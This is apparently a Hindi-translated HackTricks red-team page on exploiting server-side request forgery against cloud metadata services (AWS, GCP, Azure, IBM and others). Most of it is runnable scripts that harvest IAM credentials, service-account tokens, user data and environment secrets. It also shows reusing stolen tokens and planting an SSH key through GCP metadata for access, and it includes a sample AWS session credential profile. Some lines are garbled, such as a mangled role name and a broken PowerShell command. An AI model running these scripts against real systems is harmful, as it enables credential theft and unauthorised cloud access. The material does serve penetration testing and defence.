Cloud SSRF

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Try Hard सुरक्षा समूह


AWS

AWS EC2 पर SSRF का दुरुपयोग

मेटाडेटा एंडपॉइंट किसी भी EC2 मशीन से एक्सेस किया जा सकता है और इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह url पर एक्सेस किया जा सकता है: http://169.254.169.254 (मेटाडेटा के बारे में जानकारी यहाँ)।

मेटाडेटा एंडपॉइंट के 2 संस्करण हैं। पहला संस्करण एंडपॉइंट का GET अनुरोध के माध्यम से एक्सेस करने की अनुमति देता है (तो कोई भी SSRF इसका दुरुपयोग कर सकता है)। वर्शन 2 के लिए, IMDSv2, आपको एक टोकन के लिए एक PUT अनुरोध भेजना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा तक पहुंचने की अनुमति है (तो इसे SSRF के साथ अधिक जटिल है)।

ध्यान दें कि यदि EC2 इंस्टेंस IMDSv2 को प्रवर्तन कर रहा है, दस्तावेज़ के अनुसार, PUT अनुरोध का प्रतिसाद 1 का हॉप सीमा होगा, जिससे EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा।

इसके अतिरिक्त, IMDSv2 भी टोकन प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा जिसमें X-Forwarded-For हेडर शामिल है। इसका उद्देश्य गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसका एक्सेस करने से रोकना है।

आप दस्तावेज़ में मेटाडेटा एंडपॉइंट्स के बारे में जानकारी पा सकते हैं। निम्नलिखित स्क्रिप्ट में कुछ दिलचस्प जानकारी प्राप्त की गई है:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

जैसे ही आपके पास सार्वजनिक उपलब्ध IAM प्रमाणपत्र उजागर होते हैं, आप इस उदाहरण पर जा सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

आप EC2 सुरक्षा प्रमाणपत्र को भी जांच सकते हैं: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

फिर आप उन प्रमाणपत्रों को लेकर AWS CLI का उपयोग कर सकते हैं। इससे आपको वह सभी अनुमतियाँ मिलेंगी जो उस भूमिका को करने की हैं

नए प्रमाणपत्रों का लाभ उठाने के लिए, आपको इस तरह का एक नया AWS प्रोफ़ाइल बनाना होगा:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token को ध्यान से देखें, यह प्रोफ़ाइल के काम के लिए अनिवार्य है।

PACU को पाए गए क्रेडेंशियल के साथ उपयोग किया जा सकता है ताकि आपकी प्रिविलेज़ का पता लगाया जा सके और प्रिविलेज़ को ऊंचा करने का प्रयास किया जा सके।

AWS ECS (कंटेनर सेवा) क्रेडेंशियल में SSRF

ECS, एक ऐसा तार्किक समूह है जिस पर आप अपने अपने क्लस्टर प्रबंधन बुनियादी संरचना को स्केल किए बिना एक एप्लिकेशन चला सकते हैं क्योंकि ECS आपके लिए उसे प्रबंधित करता है। यदि आप ECS में चल रही सेवा को कंप्रोमाइज़ करने में सफल होते हैं, तो मेटाडेटा एंडपॉइंट बदल जाते हैं

यदि आप http://169.254.170.2/v2/credentials/<GUID> तक पहुंचते हैं, तो आप ECS मशीन के क्रेडेंशियल पा सकते हैं। लेकिन पहले आपको <GUID> पता लगाना होगा। <GUID> पता लगाने के लिए आपको मशीन के अंदर environ चर को पढ़ने की आवश्यकता है AWS_CONTAINER_CREDENTIALS_RELATIVE_URI चर को पढ़ने के लिए आपको file:///proc/self/environ का शोध करने की संभावना है। उल्लिखित http पते से आपको AccessKey, SecretKey और token मिलना चाहिए।

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

ध्यान दें कि कुछ मामलों में आपको कंटेनर से EC2 मेटाडेटा इंस्टेंस तक पहुंचने की सक्षमता होगी (पहले से उल्लिखित IMDSv2 TTL सीमाएँ जांचें)। इन परिदृश्यों में कंटेनर से आप कंटेनर IAM रोल और EC2 IAM रोल दोनों तक पहुंच सकते हैं।

AWS Lambda के लिए SSRF

इस मामले में क्रेडेंशियल्स env variables में स्टोर किए गए हैं। इसलिए, इन तक पहुंचने के लिए आपको file:///proc/self/environ जैसी कुछ चीज़ का उपयोग करना होगा।

रुचिकर env variables का नाम हैं:

  • AWS_SESSION_TOKEN

  • AWS_SECRET_ACCESS_KEY

  • AWS_ACCES_KEY_ID

इसके अतिरिक्त, IAM क्रेडेंशियल्स के अलावा, Lambda functions के पास भी इवेंट डेटा होता है जो फ़ंक्शन को शुरू किया जाता है जब यह चालू होता है। यह डेटा फ़ंक्शन के लिए रनटाइम इंटरफेस के माध्यम से उपलब्ध किया जाता है और यह संवेदनशील जानकारी (जैसे stageVariables में) शामिल हो सकती है। IAM क्रेडेंशियल्स की तरह, यह डेटा http://localhost:9001/2018-06-01/runtime/invocation/next पर मानक SSRF के माध्यम से पहुंचने योग्य है।

ध्यान दें कि लैम्बडा क्रेडेंशियल्स env variables में हैं। इसलिए यदि लैम्बडा कोड की स्टैक ट्रेस env vars प्रिंट करती है, तो ऐप में त्रुटि उत्पन्न कराकर उन्हें बाहरी करना संभव है।

AWS Elastic Beanstalk के लिए SSRF URL

हम API से accountId और region पुनर्प्राप्त करते हैं।

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

हम फिर API से AccessKeyId, SecretAccessKey, और Token को पुनः प्राप्त करते हैं।

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

फिर हम aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ के साथ क्रेडेंशियल का उपयोग करते हैं।

GCP

आप यहाँ मेटाडेटा एंडपॉइंट्स के डॉक्स पा सकते हैं

Google Cloud के लिए SSRF URL

HTTP हेडर Metadata-Flavor: Google की आवश्यकता है और आप निम्नलिखित URLs के साथ मेटाडेटा एंडपॉइंट तक पहुंच सकते हैं:

  • http://169.254.169.254

  • http://metadata.google.internal

  • http://metadata

जानकारी निकालने के लिए दिलचस्प एंडपॉइंट्स:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

बीटा इस समय एक हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

एक्सफिल्ट्रेटेड सर्विस अकाउंट टोकन का उपयोग करने के लिए आप बस यह कर सकते हैं:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

एक SSH कुंजी जोड़ें

टोकन निकालें

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

टोकन की दायरा देखें (पिछले आउटपुट के साथ या निम्नलिखित चला कर)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

अब SSH कुंजी को पुश करें।

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

क्लाउड फंक्शन्स

मेटाडेटा एंडप्वाइंट VMs में काम करता है लेकिन कुछ एंडप्वाइंट्स के बिना:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

डिजिटल ओशन

AWS रोल्स या GCP सेवा खाता जैसी चीजें नहीं हैं, इसलिए मेटाडेटा बॉट क्रेडेंशियल्स की उम्मीद न करें

दस्तावेज़ीकरण उपलब्ध है https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

एज़्यूर

एज़्यूर वीएम

दस्तावेज़ यहाँ.

  • अवश्य शीर्षक में Metadata: true होना चाहिए

  • X-Forwarded-For हेडर नहीं होना चाहिए

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App Service

env से आप IDENTITY_HEADER और IDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। आप इस्तेमाल कर सकते हैं इन्हें एक टोकन इकट्ठा करने के लिए मेटाडेटा सर्वर से बात करने के लिए।

अधिकांश समय, आप एक टोकन चाहते हैं इन संसाधनों में से किसी एक के लिए:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

आईबीएम क्लाउड

ध्यान दें कि आईबीएम में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभावना है कि आप इसको एक आईबीएम क्लाउड वीएम के अंदर होने के बावजूद तक पहुंच नहीं पाएंगे।

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

पैकेटक्लाउड

पैकेटक्लाउड के मेटाडेटा तक पहुंचने के लिए, दस्तावेज़ीकरण यहाँ पाया जा सकता है: https://metadata.packet.net/userdata

ओपनस्टैक/रैकस्पेस

हेडर की आवश्यकता का उल्लेख नहीं किया गया है। मेटाडेटा निम्नलिखित द्वारा पहुंचा जा सकता है:

  • http://169.254.169.254/openstack

एचपी हेलियन

यहाँ भी हेडर की आवश्यकता का उल्लेख नहीं किया गया है। मेटाडेटा तक पहुंचा जा सकता है:

  • http://169.254.169.254/2009-04-04/meta-data/

ऑरेकल क्लाउड

ऑरेकल क्लाउड विभिन्न मेटाडेटा पहुंचने के लिए एंडपॉइंट्स प्रदान करता है:

  • http://192.0.0.192/latest/

  • http://192.0.0.192/latest/user-data/

  • http://192.0.0.192/latest/meta-data/

  • http://192.0.0.192/latest/attributes/

अलीबाबा

अलीबाबा मेटाडेटा तक पहुंचने के लिए एंडपॉइंट्स प्रदान करता है, जिसमें इंस्टेंस और इमेज आईडी शामिल हैं:

  • http://100.100.100.200/latest/meta-data/

  • http://100.100.100.200/latest/meta-data/instance-id

  • http://100.100.100.200/latest/meta-data/image-id

कुबरनेटीज़ ETCD

कुबरनेटीज़ ETCD में एपीआई कुंजी, आंतरिक आईपी पते, और पोर्ट्स हो सकते हैं। पहुंच निम्नलिखित द्वारा दिखाया गया है:

  • curl -L http://127.0.0.1:2379/version

  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

डॉकर

डॉकर मेटाडेटा को स्थानीय रूप से पहुंचा जा सकता है, जिसमें कंटेनर और इमेज जानकारी प्राप्त करने के लिए उदाहरण दिए गए हैं:

  • डॉकर सॉकेट के माध्यम से कंटेनर और इमेज मेटाडेटा तक पहुंचने के लिए एक सरल उदाहरण:

  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash

  • कंटेनर के अंदर, डॉकर सॉकेट के साथ curl का उपयोग करें:

  • curl --unix-socket /var/run/docker.sock http://foo/containers/json

  • curl --unix-socket /var/run/docker.sock http://foo/images/json

रांचर

रांचर के मेटाडेटा को निम्नलिखित द्वारा पहुंचा जा सकता है:

  • curl http://rancher-metadata/<version>/<path>

Last updated